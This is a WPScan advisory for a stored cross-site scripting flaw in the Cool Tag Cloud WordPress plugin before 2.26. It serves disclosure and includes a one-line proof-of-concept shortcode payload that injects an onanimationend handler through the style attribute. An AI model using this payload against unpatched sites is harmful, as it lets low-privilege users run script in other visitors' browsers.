WordPress Plugin Vulnerabilities
Cool Tag Cloud < 2.26 - Contributor+ Stored Cross-Site Scripting
Description
The plugin does not escape the style attribute of the cool_tag_cloud shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.
Proof of Concept
[cool_tag_cloud style='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)']
Affects Plugins
Fixed in 2.26 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-28 (about 2 years ago)
Added
2021-09-28 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)
WPScan 